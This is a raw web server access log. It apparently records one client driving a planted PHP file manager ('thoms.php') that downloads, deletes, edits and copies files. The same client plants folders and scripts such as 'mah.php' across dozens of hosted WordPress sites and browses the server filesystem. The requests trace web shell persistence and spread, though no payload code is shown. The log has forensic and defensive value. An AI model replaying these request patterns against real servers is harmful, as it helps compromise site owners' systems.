45.135.193.11 - - [11/Sep/2026:23:38:22 -0400] "GET /betcity.com.tw/wp-includes/locale.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:22 -0400] "GET /betcity.com.tw/wp-includes/ms-settings.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:21 -0400] "GET /thoms.php?dl=default-constants.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?dl=default-constants.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:22 -0400] "GET /thoms.php?chmod=block-supports&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?chmod=block-supports&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:22 -0400] "GET /thoms.php?del=error-protection.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59424 "http://163.245.207.76:443/thoms.php?del=error-protection.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:22 -0400] "GET /thoms.php?del=ai-client&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=ai-client&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:22 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-meta-query.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11852 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-meta-query.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:22 -0400] "GET /thoms.php?edit=wp-trackback.php&env=ace&p=betcity.com.tw HTTP/1.1" 200 17434 "http://163.245.207.76:443/thoms.php?edit=wp-trackback.php&env=ace&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:22 -0400] "GET /betcity.com.tw/deprecated-complete/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fdeprecated-complete%2F&location=%2Fhome%2F HTTP/1.1" 200 5834 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:22 -0400] "GET /betcity.com.tw/deprecated-complete/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fdeprecated-complete%2F HTTP/1.1" 200 6368 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:22 -0400] "GET /betcity.com.tw/deprecated-complete/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F HTTP/1.1" 200 8970 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:22 -0400] "GET /thoms.php?dl=class-wp-recovery-mode-key-service.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=class-wp-recovery-mode-key-service.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:22 -0400] "GET /betcity.com.tw/deprecated-complete/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fdeprecated-complete%2F&option=folder HTTP/1.1" 200 6398 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:22 -0400] "GET /thoms.php?edit=wp-trackback.php&p=betcity.com.tw HTTP/1.1" 200 13855 "http://163.245.207.76:443/thoms.php?edit=wp-trackback.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:23 -0400] "GET /betcity.com.tw/deprecated-complete/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fdeprecated-complete%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fdeprecated-complete%2F HTTP/1.1" 200 28418 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:23 -0400] "GET /betcity.com.tw/deprecated-complete/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fdeprecated-complete%2F&location=%2F HTTP/1.1" 200 7904 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:23 -0400] "GET /betcity.com.tw/deprecated-complete/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fdeprecated-complete%2F&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7994 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:23 -0400] "GET /betcity.com.tw/deprecated-complete/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fdeprecated-complete%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F HTTP/1.1" 200 9004 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:23 -0400] "GET /betcity.com.tw/deprecated-complete/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fdeprecated-complete%2F&option=file HTTP/1.1" 200 6398 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:23 -0400] "GET /betcity.com.tw/deprecated-complete/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fdeprecated-complete%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 10963 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:23 -0400] "GET /betcity.com.tw/deprecated-complete/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fdeprecated-complete%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fdeprecated-complete%2F HTTP/1.1" 200 6404 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:23 -0400] "GET /betcity.com.tw/deprecated-complete/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fdeprecated-complete%2F HTTP/1.1" 200 6387 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:23 -0400] "GET /betcity.com.tw/deprecated-complete/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fdeprecated-complete%2F%2Fadmin.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fdeprecated-complete%2F HTTP/1.1" 200 11132 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:23 -0400] "GET /betcity.com.tw/deprecated-complete/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fdeprecated-complete%2F%2Flicense.txt&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fdeprecated-complete%2F HTTP/1.1" 200 6531 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:23 -0400] "GET /betcity.com.tw/deprecated-complete/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fdeprecated-complete%2F%2Fprofile.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fdeprecated-complete%2F HTTP/1.1" 200 18791 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:23 -0400] "GET /betcity.com.tw/wp-includes/?ND= HTTP/1.1" 200 9383 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:23 -0400] "GET /betcity.com.tw/wp-includes/?MA= HTTP/1.1" 200 9383 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:23 -0400] "GET /betcity.com.tw/wp-includes/?SA= HTTP/1.1" 200 9300 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:23 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fdeprecated-complete&p=beauty-dental.com.tw HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fdeprecated-complete&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:23 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fdeprecated-complete&p=bfl.com.tw HTTP/1.1" 200 11501 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fdeprecated-complete&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:23 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fdeprecated-complete&p=bodbooks.com.tw HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fdeprecated-complete&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:23 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fdeprecated-complete&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11488 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fdeprecated-complete&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:23 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fdeprecated-complete&p=besth2o.com.tw HTTP/1.1" 200 11514 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fdeprecated-complete&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:24 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fdeprecated-complete&p=booking-wise2.com.tw HTTP/1.1" 200 11488 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fdeprecated-complete&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:24 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fdeprecated-complete&p=wordpress-6.6-20260912023539 HTTP/1.1" 200 11424 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fdeprecated-complete&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:24 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fdeprecated-complete&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fdeprecated-complete&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:24 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22450 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fdeprecated-complete&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:24 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fdeprecated-complete&p=betcity.com.tw HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fdeprecated-complete&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:24 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fdeprecated-complete&p=bioway88.com.tw HTTP/1.1" 200 11513 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fdeprecated-complete&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:24 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fdeprecated-complete&p=cgi-bin HTTP/1.1" 200 11362 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fdeprecated-complete&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:24 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fdeprecated-complete&p=bestzyx.com.tw HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fdeprecated-complete&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:24 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fdeprecated-complete&p=biotaiwan.com.tw HTTP/1.1" 200 11491 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fdeprecated-complete&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:24 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fdeprecated-complete&p=broadweb.com.tw HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fdeprecated-complete&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:24 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fdeprecated-complete&p=upgrade HTTP/1.1" 200 11351 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fdeprecated-complete&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:24 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fdeprecated-complete&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fdeprecated-complete&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:24 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fdeprecated-complete&p=bossini.com.tw HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fdeprecated-complete&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:24 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fdeprecated-complete&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fdeprecated-complete&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:24 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fdeprecated-complete&p=ba-guo.com.tw HTTP/1.1" 200 11379 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fdeprecated-complete&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:24 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22419 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fdeprecated-complete&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:24 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22467 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fdeprecated-complete&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:24 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fdeprecated-complete&p=bestjudy.com.tw HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fdeprecated-complete&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:25 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fdeprecated-complete&p=big-wife.com.tw HTTP/1.1" 200 11492 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fdeprecated-complete&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:25 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fdeprecated-complete&p=bft.com.tw HTTP/1.1" 200 11458 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fdeprecated-complete&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:25 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fdeprecated-complete&p=wp-content HTTP/1.1" 200 11449 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fdeprecated-complete&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:25 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fdeprecated-complete&p=bogroup.com.tw HTTP/1.1" 200 11481 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fdeprecated-complete&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:25 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fdeprecated-complete&p=wp-content-20260912023544 HTTP/1.1" 200 11380 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fdeprecated-complete&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:25 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fmah.php&finish=1&move=1&p=betcity.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fmah.php&finish=1&move=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:25 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fmah.php&p=betcity.com.tw%2F.well-known HTTP/1.1" 200 11390 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fmah.php&p=betcity.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:25 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fmah.php&p=betcity.com.tw%2Fcgi-bin HTTP/1.1" 200 11355 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fmah.php&p=betcity.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:25 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 18970 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fmah.php&finish=1&move=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:25 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fmah.php&finish=1&p=betcity.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fmah.php&finish=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:25 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 19145 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fmah.php&finish=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:25 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fmah.php&p=betcity.com.tw%2Fupgrade HTTP/1.1" 200 11343 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fmah.php&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:25 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fmah.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fmah.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:25 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fmah.php&p=betcity.com.tw%2Fwp-content HTTP/1.1" 200 11455 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fmah.php&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:25 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fmah.php&p= HTTP/1.1" 200 12373 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fmah.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:25 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fmah.php&p=betcity.com.tw%2Fdeprecated-complete HTTP/1.1" 200 11364 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fmah.php&p=betcity.com.tw%2Fdeprecated-complete" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:26 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fmah.php&p=betcity.com.tw%2Fschema-shared HTTP/1.1" 200 11362 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fmah.php&p=betcity.com.tw%2Fschema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:26 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fmah.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11865 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fmah.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
